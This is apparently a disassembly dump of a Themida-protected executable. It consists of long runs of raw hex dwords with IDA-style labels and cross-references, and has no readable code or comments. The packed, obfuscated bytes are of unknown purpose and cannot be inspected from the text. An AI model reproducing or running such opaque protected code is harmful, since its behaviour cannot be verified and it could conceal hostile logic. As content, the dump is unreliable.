40000000h, 865FC350h, 78858D83h dd 6A064838h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 3C51C351h, 0BD2909F2h, 6480DF5h dd 10E9h, 35E70A00h, 7B9E0E03h, 0B3C4D39Bh, 0BE431613h dd 0FD0FF02h, 0A84h, 81666000h, 80D310C8h, 8961C8D9h, 4BAAEB85h dd 0E6EA8106h, 6A0BA744h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 6FD9AB5Fh dd 9E93C08h, 58000000h, 90277518h, 9670A1C8h, 0FC2C9168h dd 11E9FEh, 0E8A20000h, 0D71B358Fh, 53499F02h, 62C745FDh dd 817F1189h, 0E36F2404h, 8B660103h, 45F668DEh, 0B9567812h dd 1647361Fh, 2434815Fh, 781345F6h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0E8C35141h, 1B8763A9h, 10F3C4B9h dd 8B006A4Bh, 4195FFCEh, 6006480Dh, 89CBBF0Fh, 4827DDBDh dd 85896106h, 64BAAF7h, 91950160h, 8B06481Fh, 482791BDh dd 6A6106h, 95D9D8Bh, 4E80648h, 0 dd 8B000100h, 0FB8B50DAh, 424448Bh, 8840Fh, 8D0F0000h dd 2, 8B6160h, 0E9525060h, 0Dh, 2371DF2h, 55AA2C3Fh, 0CAD91C5h dd 60310F3Dh, 61585A61h, 4244489h, 0BE958h, 3C880000h dd 4BFE855Bh, 1A3CB9F5h, 0CE9906Ch, 0A8000000h, 9016142h dd 5075C324h, 50412D0Eh, 6860F60h, 0F000000h, 88h, 6E900h dd 0FB780000h, 74AB0C93h, 6A9061h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 996497C3h, 0BB668499h dd 0B6A4236h, 0FE9h, 0DFAF9E00h, 0C57325F5h, 0BEFB35EFh dd 3C43DC0Ah, 0AAC4858Dh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0A537E6C3h, 89C88B50h dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0E99C91C3h, 203D9D8Bh, 8D290648h, 6481CD9h dd 1DB19523h, 95FF0648h, 6482C55h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 95C35545h, 5AEC6B8h, 9D8B50A2h dd 6482C5Dh, 59B5895Ah, 8D06482Ch, 4BAACEB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 9589CC55h, 64805D9h, 895F5650h, 6A2434h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 29CB63C3h dd 8E0F5083h, 0Eh, 9E9h, 0F5D5C300h, 501008A3h, 4893393h dd 0FFB70F24h, 244195FFh, 810F0648h, 6, 0DF22D981h, 0D0FF2654h dd 6D9D8Bh, 0DB800648h, 0F7B58B17h, 6A064BAAh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 5B9C355h, 42612573h, 0E5958B20h, 53064828h, 2A3DBD8Bh dd 0C7590648h, 4BAAEF85h, 6, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8BEF6D95h dd 481EF595h, 207E8006h, 70840F00h, 0F000002h, 687h, 8D952900h dd 60064805h, 188E0Fh, 13E90000h, 0AB000000h, 0A9C9CCEh dd 0B1526E62h, 3075A310h, 0A532E673h, 468D18FCh, 0B19D2B20h dd 81064813h, 3D3D5AC3h, 0F385896Ch, 31064BAAh, 480FC1BDh dd 8B666006h, 0F08B66F1h, 20E961h, 95890000h, 6481485h dd 14E940h, 692F0000h, 6CABE4F7h, 6A7EA0DEh, 3501D5E7h dd 0A781357Dh, 3880F96Dh, 0DD850F00h, 0E9FFFFFFh, 42h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4AC35747h dd 6A48FCD7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0B597C356h, 8B496705h, 3880F3A6h dd 37840F5Ch, 0B6000000h, 2F388090h, 2C840Fh, 0F600000h dd 88h, 6121B500h, 0BE9h, 77796600h, 589D8227h, 0DFD6715Bh dd 0AAF3853Bh, 830F064Bh, 0FFFFFFA2h, 18898529h, 0B3400648h dd 0FBBD8393h, 64BAAh, 73840Fh, 8D8B0000h, 6482EFDh, 0FEB96690h dd 0BB66504Bh, 0F901AF8h, 685h, 0C1B58900h, 3064826h, 4BAAFB85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 318D0BFAh, 1064810h, 480A5D8Dh, 0C606h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 77C35343h dd 9D892506h, 64823A5h, 0BF669058h, 8B50A5ABh, 6A90CAh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 348F61C3h, 0AAE7B5FFh, 0C180064Bh, 0EB95FF0Ch, 6A064BAAh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0BD20C357h, 0C3F8C7ABh, 0C00BDDE9h, 46850Fh dd 9D8B0000h, 6481DF1h, 99D8B61h, 0C7064807h, 4BAAEF85h dd 106h, 6DE900h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0F8F63FC3h, 28282F08h dd 9D89322Bh, 6480505h, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 1E6734CFh, 7E95Ch, 0D3B90000h dd 0F9005D62h, 1CC6812Ah, 89000001h, 481D75B5h, 0FD8BE906h dd 8166FFFFh, 680E38C7h, 6099BD46h, 2DA1BB50h, 81594351h dd 3D462434h, 6A6099h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0BD892CC3h, 64804E9h, 8166006Ah dd 60BF08D1h, 9DDBD8Bh, 958B0648h, 648064Dh, 0F7B5FF61h dd 0F064BAAh, 0C8Ah, 6800F00h, 29000000h, 4804F98Dh, 2195FF06h dd 6A064815h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 39BBC356h, 8E9h, 663E2C00h, 76B48FE1h dd 8B666081h, 6820FD7h, 33000000h, 481D81B5h, 858B6106h dd 64BAAEFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 98C35545h, 427D702Eh, 0B11E0224h, 0F90F9E4h, 888h dd 28C0F00h, 0B7000000h, 8B605096h, 6A9061FAh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 1ADEC355h, 0F242CBE6h, 9BBA66DFh, 0FF858D05h, 6A064BAAh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 8391C355h, 66F557BBh, 50BDC7BBh, 31240489h dd 482D3DBDh, 0BC858D06h, 66064BAAh, 9D8BC88Bh, 6482179h dd 11E950h, 55600000h, 0FB4B34C3h, 8B542FE4h, 3A1E1D43h dd 8939B3AAh, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 6DC559C3h, 8B39FD1Fh, 48065595h dd 0FF5B5106h, 4824A995h, 8B05B506h, 0BD83FCC0h, 64820E9h dd 83097500h, 482C61BDh, 13740006h, 0C08B5350h, 4D0B8h dd 679D8D00h, 0FF064AAEh, 83585BD3h, 482C61BDh, 11740006h dd 0D0B85350h, 8D000004h, 4AAD669Dh, 5BD3FF06h, 55006A58h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 31E2365Fh, 50F7BA57h, 0D97923BBh, 93BA5A58h, 0E807C6F7h dd 12h, 86C0EAD8h, 5D959ADEh, 5F817D29h, 7428EBD9h, 0E9814BF1h dd 765796E2h, 58C08B5Fh, 23D9958Bh, 8C20648h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 3892CE09h, 8B60915Bh, 480EDD9Dh, 0CF816606h, 8B617F78h dd 13E8C0h db 2 dup(0) word_5785CE dw 1912h ; DATA XREF: Themida_:0053CE3Co ; Themida_:0053D408o ... dd 0C51F055Dh, 0A79F0013h, 991A332Bh, 0A52B2187h, 880FDBh dd 5B000000h, 0AB18858Dh, 6A064Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 8589F3C3h, 6481E79h dd 75E9h, 8C666000h, 0F04A8D8h, 3584h, 0FF016A00h, 482C21B5h dd 1E858D06h, 0FF064B83h, 18589D0h, 8B06482Ch, 0CEFC1FEh dd 4000068h, 6A006A20h, 0D685702h, 0FF000100h, 482C0195h dd 32E906h, 85C60000h, 648276Dh, 30DF6856h, 0B5FFA9C5h dd 6482195h, 831E858Dh, 0D0FF064Bh, 1B198589h, 858D0648h dd 6481015h, 6A206A50h, 95FF5605h, 6481B19h, 0E0C1C361h dd 39EB06h, 0CC00BF00h, 0E400BF02h, 0BF02h, 0EC000000h dd 0B47DAB1h, 4F76C3BDh, 6422D2B5h, 0E44FD9B1h, 0A84ED3F6h dd 2676F9D8h, 7F22FB94h, 0FD52F8ACh, 3E4AE3B6h, 2646D6BDh dd 4222DDB8h, 8922B430h, 77B97D8h, 466E3E81h, 156636DCh dd 9822AFDCh, 8F73F6D8h, 6773CFDFh, 7AAF3EDAh, 224FFC2h dd 9122DD18h, 6222B430h, 0F27F97D8h, 0BC4E3E85h, 686636DCh dd 2622A2DCh, 0D077F2D8h, 82CB7A55h, 9D22B7D8h, 0A1C6785Ah dd 4C5E0E6Dh, 0DAB192Eh, 4A6A917Dh, 6CB0A5Bh, 6622B190h dd 0E89F34D1h, 0C424FFF4h, 3172AEACh, 889A7753h, 1122B7DCh dd 40A165Dh, 0ABF3ADEh, 0EC24FD68h, 0A7AEC0Bh, 8C0ED665h dd 7556B7DEh, 889AE488h, 1122B7DCh, 40A165Dh, 3DBF3ADEh dd 0EC24FD75h, 0DF7AEC0Bh, 0C4335F87h, 0DC0B7D8h, 0EC974803h dd 2096DE02h, 0CA8E2D17h, 70BF0FDAh, 1322BE30h, 355A1BD8h dd 54CB5BC2h, 3C7C4522h, 0CBA9D187h, 5AB7753h, 4A6AB715h dd 14F321Eh, 7974B190h, 8ACAE2D8h, 0E422B7D8h, 0EB7F7485h dd 0B02693B4h, 8426939Ch, 922B7D8h, 0B974748Dh, 0C03BB765h dd 0B8164F1Ah, 8C28EA45h, 62265FDEh, 8970B7D8h, 0CA722B70h dd 0F09B86D7h, 7C24DF3Fh, 9844E780h, 0AD663C29h, 0B3D80EDCh dd 62A9FAC1h, 3122BA31h, 49EA17D8h, 915CAA3Bh, 0E30B82CDh dd 57ABDBE5h, 8FCAB3FCh, 1522B7D8h, 52D532D2h, 31275FDDh dd 0C3ECB7D8h, 0F32C8487h, 26F3E1F8h, 797AED81h, 8ACAE1D8h dd 0E422B7D8h, 0EB7C7486h, 0B02693ACh, 8226939Ch, 0A22B7D8h dd 0E633748Eh, 94763C3Fh, 849F3C6Ah, 3B24FFCCh, 2A03226Dh dd 6722DDDEh, 9822B430h, 8F7C97D8h, 2563E86h, 376636DCh dd 8922ADDCh, 774F1D8h, 8A850D1h, 0BC659693h, 0D3A1A95Dh dd 1A22DDDEh, 2622B430h, 0D07C97D8h, 0AD563E86h, 0E06636DCh dd 6222A0DCh, 0F274F1D8h, 0D39B2D72h, 18F436BEh, 0F695B8BFh dd 35DF2A51h, 59DDB190h, 2C71B7B2h, 6222B7DBh, 6AE1ECF8h dd 9C06EB51h, 4806F359h, 2622B7CCh, 0DEE1E49Bh, 80A73A53h dd 0C048B190h, 8A77B7B2h, 3122B7DBh, 0C5E1EAF8h, 4806DB51h dd 2206F359h, 1322B7C5h, 9CE1E29Dh, 0B65440C3h, 75FD2E4h dd 94973E4Ch, 0F024FFFDh, 91B26838h, 0D4A9D788h, 72E33CBEh dd 0AD263682h, 0E64D87F8h, 0B3A3E68Bh, 60ADAE87h, 9CCAE887h dd 0A022B7D8h, 7622B7DAh, 230E088Ah, 0B82DD4F1h, 9C786653h dd 48450988h, 75A9A02Fh, 6AA9B3FCh, 4342B753h, 2622B551h dd 0FAF33CD8h, 8922B7D3h, 110AE5D7h, 3A362054h, 50801190h dd 9C06F351h, 64FC3780h, 9D85EB61h, 7922DD83h, 8ACAE7D8h dd 0E422B7D8h, 0EB7A7480h, 0B026939Ch, 8126939Ch, 0C22B7D8h dd 0C2A87488h, 0DAF634C4h, 23EC36BEh, 0C4365E93h, 0EF97B7D8h dd 0A3FF4A43h, 579F2B7Dh, 196C9491h, 856D02D9h, 0C3DD9DB2h dd 6173B7B2h, 0C422B7DBh, 3BE1EEF8h, 3506FB51h, 9C06F359h dd 4C22B7C0h, 0CDE1E699h, 0D343C4D9h, 0A5A722D9h, 41ABB190h dd 64690EF8h, 0D973B7B2h, 9822B7DBh, 15E1EEF8h, 2206FB51h dd 1706F359h, 8922B7C4h, 11E1E699h, 0CE77CC18h, 2CADF713h dd 54274F53h, 0C522B7DAh, 6D9B935Dh, 0BE234DEh, 300A3251h dd 411B193h, 62205B61h, 5B8844D8h, 9BCAE7D8h, 6C22B7D8h dd 0AF7A7480h, 9226939Ch, 9126939Ch, 8422B7D8h, 0B2687488h dd 0C97EF4E4h, 0BF4F321Eh, 0A461B190h, 2622B7DCh, 8F45DC86h dd 0D69DD78Bh, 0A457B561h, 327BD6B9h, 31373DD7h, 88CBB7D8h dd 0AE22B7D8h, 0D73928DCh, 0E5D48298h, 1A08B4E9h, 4FAD3695h dd 8A26939Ch, 3122B7D2h, 0DD9C8BE5h, 81B11D42h, 0AD44BF6Ah dd 13A9EE08h, 8922B930h, 0C260E0D8h, 931EC9C2h, 3D7F01FBh dd 702F1215h, 4C22B7DEh, 4FB7B9D0h, 41720BC5h, 0D17886D7h dd 80ABE887h, 3072B3FCh, 3ED13CBEh, 0C27BE4E9h, 0F109EF80h dd 206A9981h, 32B70227h, 3C13B190h, 0C26A8745h, 0E13C3255h dd 0A42BB193h, 9E6A926Dh, 0D9136727h, 206AB7EDh, 3FBB3251h dd 8948B190h, 0C4215F8Eh, 3C02B7D8h, 45ABE91Bh, 0DCA3B3FCh dd 4C39B3FCh, 7064B7D8h, 0D652F11Bh, 49850956h, 5A73AC5h dd 5324FFD3h, 79242E55h, 0E5A73EDEh, 2624FFFFh, 25CAE7D8h dd 3322B7D8h, 7A7480h, 4526939Ch, 7B26939Ch, 7122B7D8h dd 0D6B27488h, 0E35D7B1Ch, 263238D7h, 982DB7D8h, 8922B7D2h dd 0C422B231h, 0F37D7ED8h, 0B4E47BFFh, 9E6A90B5h, 4AAEB88Bh dd 0A722B7D8h, 0A3C17E1Ah, 82FCDFA5h, 0C0A30A32h, 0A51E4DFCh dd 0CE2C01E6h, 0D003226Dh, 119F3EDEh, 0AD24FFD2h, 5B02726Dh dd 97A73ADEh, 0F524FC5Bh, 2A3F026Dh, 5BF248DEh, 9BCAE0D8h dd 6C22B7D8h, 0AF7D7487h, 922693A4h, 9126939Ch, 8322B7D8h dd 0B164748Fh, 66351B99h, 5BF836BEh, 41CBE921h, 7022B7D8h dd 1CBDEF49h, 0B81FFF8Dh, 0B60293C0h, 52433251h, 37CAB190h dd 0E922B7D8h, 0BDA0C454h, 899BD151h, 96E4EE5Ah, 8F6A90B5h dd 9122DD8Bh, 6222B430h, 0F27F97D8h, 0BC4E3E85h, 686636DCh dd 2622AADCh, 0D077F2D8h, 0DED196E7h, 9592FE4h, 0F7AB0AF2h dd 376AA7C9h, 882B3A53h, 0C74AB190h, 0A7BE8840h, 4F1A93ECh dd 76DEF3FFh, 8C03226Dh, 3722DDDEh, 3122B430h, 5B7F97D8h dd 684E3E85h, 26636DCh, 1322ADDCh, 4A77F2D8h, 0C63AD871h dd 45D9052h, 4B9C4053h, 1551C2CFh, 7A1A95Dh, 0F6DD42DEh dd 3BC72253h, 0CABB190h, 0C26AB9EDh, 8A74B7B2h, 3122B7DBh dd 0C6E1E9F8h, 4806C351h, 2206F359h, 1322B7C0h, 0F9E1E19Eh dd 528911ABh, 528B0AD3h, 8844B190h, 1DE4BFCBh, 4A6A90B5h dd 7022DD9Fh, 1322B430h, 4A7C97D8h, 0E0563E86h, 466636DCh dd 3122ADDCh, 5B74F1D8h, 423DDF63h, 0D91095Ah, 5B3AEA6Dh dd 89265FDEh, 198BB7D8h, 0E12D0006h, 3122B7C0h, 2898E588h dd 43552E9Eh, 262A5EE9h, 6960B7D8h, 65DECE05h, 9C788A33h dd 46663C88h, 0BA3F02DCh, 965509D8h, 8AB8182h, 0D397B3FCh dd 92C43680h, 7666D9A6h, 8C03226Dh, 3522DDDEh, 3122B430h dd 5B7D97D8h, 685E3E87h, 26636DCh, 1322AADCh, 4A75F0D8h dd 9C8E437Ch, 0AF289E28h, 0BC09DB1Bh, 9E6AB755h, 0CF3C3255h dd 93A9B193h, 156A9511h, 53A36727h, 0CE2476BBh, 66D73251h dd 3148B190h, 98215F8Eh, 1202B7D8h, 52ABE91Bh, 57A3B3FCh dd 893FB3FCh, 9264B7D8h, 4F57491Bh, 8A757FAEh, 0B119BCD3h dd 420E245h, 4BA771DEh, 5424FFFFh, 6171B7B2h, 0C422B7DBh dd 39E1ECF8h, 3506EB51h, 9C06F359h, 4C22B7C0h, 9AE1E49Bh dd 9D857B54h, 8922B930h, 635ECCD8h, 0E17190A6h, 98710225h dd 707E434Ch, 4C22B7C8h dword_578DC4 dd 87C27D5h, 549ACB86h, 281535E9h, 144ED21Dh, 6BC30253h ; DATA XREF: Themida_:0053D9D4o ; Themida_:0053DA20o dd 6E7BB190h, 991EB2B0h, 50F0DA8h, 22A39BA6h, 0C9F6C2FCh dd 0DF22DDC9h, 0C422B430h, 0A17C97D8h, 15563E86h, 0BC6636DCh dd 4C22AFDCh, 0E574F1D8h, 0DBC3BE5Ch, 892A5E80h, 3C15B7D8h dd 98D2040Bh, 3ECA128Ah, 3822B7D8h, 42D739D2h, 388810E0h dd 7C4C3E71h, 4ABF64Fh, 0C26ABB69h, 0F7974886h, 5B24FFF9h dd 9BCAE5D8h, 6C22B7D8h, 0AF787482h, 9226938Ch, 9226939Ch dd 8622B7D8h, 176B748Ah, 7A42B5C6h, 0DA9A1FFh, 4A6A85C5h dd 0A53C3255h, 0EAA9B193h, 42B6727h, 0C26A9D35h, 6D033251h dd 5774B190h, 0C7CDBB61h, 6B4F321Eh, 1765B190h, 5B02A24Dh dd 72EEDFDEh, 0BA97591h, 0F3068359h, 574A331Fh, 67896859h dd 6DB70227h, 2FCBB190h, 8022B7D8h, 1362E71Fh, 0FB5823BFh dd 9595B88Bh, 2FA73A87h, 0F224FC5Bh, 4FCAE2D8h, 622B7D8h dd 9A7F7485h, 82693B4h, 0D126939Ch, 2722B7D8h, 0EF52748Dh dd 9822A531h, 3AC2B9D8h, 0BF0A81FDh, 0AC74E3Dh, 73F0496h dd 3B69231Eh, 3222DD08h, 3122B430h, 5B7A97D8h, 68663E80h dd 26636DCh, 1322A1DCh, 4A72F7D8h, 0F505F2C5h, 2A0FBE55h dd 9CA73EDEh, 0F224FFFDh, 4FCAE4D8h, 622B7D8h, 9A797483h dd 8269384h, 0DC26939Ch, 2122B7D8h, 0D199748Bh, 71A21AC5h dd 4C22B7D6h, 0FF1BCCBCh, 6A02C6A5h, 727A8A01h, 14DD8F6Bh dd 49D33251h, 8C13B190h, 9E6A90E1h, 3E624266h, 0FEAED189h dd 1322A430h, 0E9210D8h, 784AC86h, 0EC846BA7h, 9B7516C1h dd 0D3724F36h, 869509BEh, 29269382h, 0D328676Fh, 8ABF33D7h dd 0C448B7D8h, 62215F8Bh, 6A02B7D8h, 0C4ABEC1Bh, 8A3B3FCh dd 263FB3FCh, 4061B7D8h, 0A22AA31Bh, 0D85ABB8Ah, 6326BA0Fh dd 7939D64Dh, 0F5A771DEh, 324FFFFh, 0CE75B7B2h, 1322B7DBh dd 0D6E1E8F8h, 0C006CB51h, 6606F359h, 3122B7C3h, 3E1E09Fh dd 7AB2E2DFh, 0ADA4B435h, 5B04424Dh, 40BD7DEh, 0C26A86C5h dd 6EA1DFB9h, 0ED9B18C2h, 1908AFC3h, 2C6393DCh, 0AF42A7BEh dd 5B378655h, 88A4B8DEh, 3D22B7D8h, 77AF94B9h, 0CE24FFF0h dd 0D003226Dh, 1D22DDDEh, 2622B430h, 0D07B97D8h, 0AD6E3E81h dd 0E06636DCh, 6222A2DCh, 0F273F6D8h, 22447E85h, 0C9AF8542h dd 206934C6h, 3D5B3A51h, 59DDB190h, 4A1BC6Ah, 622C5EFCh dd 62E8B7D8h, 3680C5ACh, 39DA0E71h, 0AF0628DFh, 0F233251h dd 8948B190h, 0C4215F8Eh, 3C02B7D8h, 45ABE91Bh, 0DCA3B3FCh dd 4C3EB3FCh, 7064B7D8h, 0B1378F1Bh, 0E194C37Fh, 4544E0A8h dd 0E9BBCF07h, 7909465Dh, 9DAEB8DEh, 2A22B7D8h, 438D7159h dd 368F2A53h, 8948B190h, 0C4215F89h, 3B02B7D8h, 7DABEE1Bh dd 0DCA3B3FCh, 4C39B3FCh, 7763B7D8h, 6EBC0F1Bh, 3147BE08h dd 1DA786EEh, 2124FFD5h, 0D971B7B2h, 9822B7DBh, 17E1ECF8h dd 2206EB51h, 1706F359h, 8922B7CDh, 0A3E1E49Bh, 53973E7Fh dd 0BA24FFC5h, 13393C26h, 4310E6Dh, 29393CDEh, 1322A25Fh dd 56A9D7D8h, 0C422BC30h, 69B9A4D8h, 0FF9BC0F3h, 2081D21Ah dd 57A9D682h, 0CE71B7B2h, 1322B7DBh, 0D2E1ECF8h, 0C006EB51h dd 6606F359h, 3122B7CCh, 0E5E1E49Bh, 0E9B79EB8h, 0AD24FFC4h dd 5B326265h, 5111D6DEh, 2C73B7B2h, 6222B7DBh, 68E1EEF8h dd 9C06FB51h, 4806F359h, 2622B7C5h, 56E1E699h, 0E5B614Bh dd 3676AF99h, 60A7B8A9h, 8422B7D8h, 51BF3EFEh, 2624FFF2h dd 25CAE1D8h, 3322B7D8h, 7C7486h, 452693ACh, 7526939Ch dd 7722B7D8h, 4AB8748Eh, 0B4A9692Bh, 14F321Eh, 7965B190h dd 8ACAE2D8h, 0E422B7D8h, 0EB7F7485h, 0B02693B4h, 8026939Ch dd 922B7D8h, 48DC748Dh, 7B84990Eh, 53833169h, 4A2DE588h dd 6222B7DEh, 312233D7h, 0A92DB7D8h, 4C22BA31h, 0F8BF37D8h dd 0D2E67E3Fh, 0EA210F10h, 9C78A7B9h, 7A068359h, 5B4FC883h dd 9BCAE4D8h, 6C22B7D8h, 0AF797483h, 92269384h, 9126939Ch dd 8722B7D8h, 0FACD748Bh, 0B82B2E6Ch, 0D012166Dh, 0D99748DEh dd 2724FFF9h, 5B086A5Dh, 97A73ADEh, 0AE24FC5Bh, 61CAE0D8h dd 1122B7D8h, 117D7487h, 0CD2693A4h, 3D26939Ch, 5422B7D8h dd 0F0F6748Fh, 0AD08467Dh, 0F72394FCh, 376AAAFDh, 9822BB30h dd 0ED27C0D8h, 73175ED3h, 373FD61Eh, 0CCAF3E4Fh, 9E24FFCDh dd 6222A730h, 56D4B3D8h, 0EBF7BE38h, 5BF6E62Dh, 0D3A777A7h dd 0EC7C420Bh, 0EA3D08h, 8C26425Dh, 3022DDDEh, 3122B430h dd 5B7897D8h, 68763E82h, 26636DCh, 1322AADCh, 4A70F5D8h dd 2D3BE2Ch, 5BA6659Dh, 5B62AF04h, 9BCAE7D8h, 6C22B7D8h dd 0AF7A7480h, 9226939Ch, 9D26939Ch, 8422B7D8h, 8BFD7488h dd 3122B7D6h, 22961459h, 0D5CBE0EEh, 0BF92EEECh, 13A91BC5h dd 6173B7B2h, 0C422B7DBh, 3BE1EEF8h, 3506FB51h, 9C06F359h dd 4C22B7C1h, 22E1E699h, 7A82E88Ah, 7AA9D1AAh, 0EC132253h dd 62A9B190h, 244F3251h, 2DABB190h, 4A6AAC09h, 26238331h dd 0DEB73ED8h, 424FFF6h, 8F9BF15Dh, 0AD4C09DEh, 5772C513h dd 9CAB4D53h, 91AF94FCh, 0D924FFC0h, 5B3C724Dh, 0DE22DDDEh dd 0C422B430h, 0A17D97D8h, 155E3E87h, 0BC6636DCh, 4C22A2DCh dd 0E575F0D8h, 9244F079h, 4D24231h, 8F9BFB45h, 3022DDDEh dd 3122B430h, 5B7897D8h, 68763E82h, 26636DCh, 1322A0DCh dd 4A70F5D8h, 4B9ECC21h, 6222B930h, 45946FD8h, 3771E4EFh dd 0C6870FA2h, 0CEA6EFF8h, 1322B7CCh, 630A6667h, 46873768h dd 81800EFBh, 6BE203Ch, 4323353h, 157BED89h, 0E7A9D788h dd 373E3EB9h, 6175B7B2h, 0C422B7DBh, 3DE1E8F8h, 3506CB51h dd 9C06F359h, 4C22B7CDh, 0EBE1E09Fh, 15A7B8C4h, 22B7D8h dd 8C283645h, 8B42E7DEh, 3122B7D2h, 2993C2F2h, 0EC149AEDh dd 21CA94BEh, 7622B7D8h, 199F985Bh, 9C7367B6h, 66ABD682h dd 6722DDFCh, 9822B430h, 8F7C97D8h, 2563E86h, 376636DCh dd 8922A1DCh, 774F1D8h, 30C4A24Ch, 34830AE9h, 677CB190h dd 406F64Dh, 20A2B8DEh, 2222B7D8h, 0C13B4265h, 0EA9D1DEh dd 7E233251h, 0BA44B190h, 0F5A7712Fh, 1F24FFFFh, 0DA100DBEh dd 1322B330h, 0EA6C8D8h, 0CBCAD772h, 0F722B7D8h, 0E969D495h dd 0FCFD6FA0h, 8CCD5DF9h, 0AF2D8DCDh, 1322B7D8h, 0E8180483h dd 729CD188h, 46663C95h, 35A0B8DCh, 0FE22B7D8h, 0C776F167h dd 7472D7D8h, 1322B831h, 531F24D8h, 893FF791h, 8575E383h dd 0A01C06A0h, 0E59986D7h, 1625D61Bh, 62ABD680h, 797AB3FCh dd 8ACAE6D8h, 0E422B7D8h, 0EB7B7481h, 0B0269394h, 8326939Ch dd 0D22B7D8h, 0D97489h, 0C8725FA5h, 3CDDACE6h, 0C26A964Dh dd 8A73B7B2h, 3122B7DBh, 0C1E1EEF8h, 4806FB51h, 2206F359h dd 1322B7CCh, 77E1E699h, 0E14B0AF1h, 0EFD7B190h, 7AA1A95Dh dd 0C922DDDEh, 4C22B430h, 0E57B97D8h db 81h byte_579529 db 3Eh, 6Eh, 37h ; DATA XREF: Themida_:0053FD08o dd 0AD6636DCh, 0C422A2DCh, 0A173F6D8h, 0E1DDAA85h, 7075B7B2h dd 4C22B7DBh, 79E1E8F8h, 1706CB51h, 8D06F359h, 0C422B7C5h dd 4FE1E09Fh, 3395C13Ah, 0D50ACD67h, 0ADA73EE0h, 4C24FFFBh dd 10CAE5D8h, 0A922B7D8h, 4D787482h, 0E326938Ch, 2B26939Ch dd 0DA22B7D8h, 24DF748Ah, 8438E5D9h, 7EA7715Eh, 0CE24FFFFh dd 0C422A530h db 0D8h byte_579595 db 28h, 0B8h, 0FEh ; DATA XREF: Themida_:0053F5E4o dd 48E67670h, 53AF52EDh, 0CF5D67FBh, 0DACD6891h, 13265F87h dd 9CB2B7D8h, 967216AAh, 532D5852h, 84AF0DBEh, 9772EF82h dd 4C22BD54h, 22ACB8D8h, 7522B7D8h, 2B54462h, 9526939Ch dd 0E9787853h, 25AAB8D8h, 0C822B7D8h, 0A413B88Ah, 2622B7D0h dd 56B1D539h, 47A517C5h, 4D7AED81h, 8B26939Ch, 3122B7DFh dd 0F2E4DB8Bh, 1446F107h, 0CE71B7B2h, 1322B7DBh, 0D2E1ECF8h dd 0C006EB51h, 6606F359h, 3122B7C4h, 52E1E49Bh, 8DD9E17Ah dd 0F94ACC0Dh, 75F208D7h, 0A17A7159h, 0E8AB0A51h, 0D7DDB190h dd 376A964Dh, 870B3251h, 0C9AFB190h, 206934C6h, 0FB77B7B2h dd 8922B7DBh, 99E1EAF8h, 6606DB51h, 3506F359h, 9822B7CEh dd 0B4E1E29Dh, 0F6DD1DDAh, 3DD70AE9h, 0CABB190h, 0C26AAA81h dd 8A74B7B2h, 3122B7DBh, 0C6E1E9F8h, 4806C351h, 2206F359h dd 1322B7CEh, 0ACE1E19Eh, 5913E1CCh, 646AA87Dh, 0F76C6558h dd 0D005DA5Dh, 0C02DE4DEh, 2622B7DEh, 9DD44659h, 0C24A9E97h dd 93DE7CCCh, 46163682h, 54D0FC03h, 7074B7B2h, 4C22B7DBh dd 78E1E9F8h, 1706C351h, 8D06F359h, 0C422B7C1h, 44E1E19Eh dd 0F57754D1h, 2513D795h, 4A6AA891h, 53B73EB9h, 0EC24FFF0h dd 0C103226Dh, 9122DDDEh, 6222B430h, 0F27F97D8h, 0BC4E3E85h dd 686636DCh, 2622AADCh, 0D077F2D8h, 0C0BAFD52h, 0C37ADECEh dd 0DFAB2050h, 376A9D31h, 93173AEBh, 4BCBB190h, 0AC22B7D8h dd 0D0109B7Fh, 0CAFCD33h, 0C26934C6h, 6222B831h, 1466D0D8h dd 5E12D534h, 76ADF08Eh, 45A69BD9h, 3C4B0251h, 59DDB190h dd 2C73B7B2h, 6222B7DBh, 68E1EEF8h, 9C06FB51h, 4806F359h dd 2622B7CCh, 0C8E1E699h, 8FA9B8B8h, 4D22B7D8h, 2A094E55h dd 0E8B7B4DEh, 0F924FFC3h, 6C9F3251h, 2648B190h, 13215F8Bh dd 0D202B7D8h, 98ABEC1Bh, 26A3B3FCh, 3134B3FCh, 0CB61B7D8h dd 9F3FC11Bh, 3E2B09BEh, 37A332D9h, 0CE4B190h, 0C26A90B5h dd 3222DD8Fh, 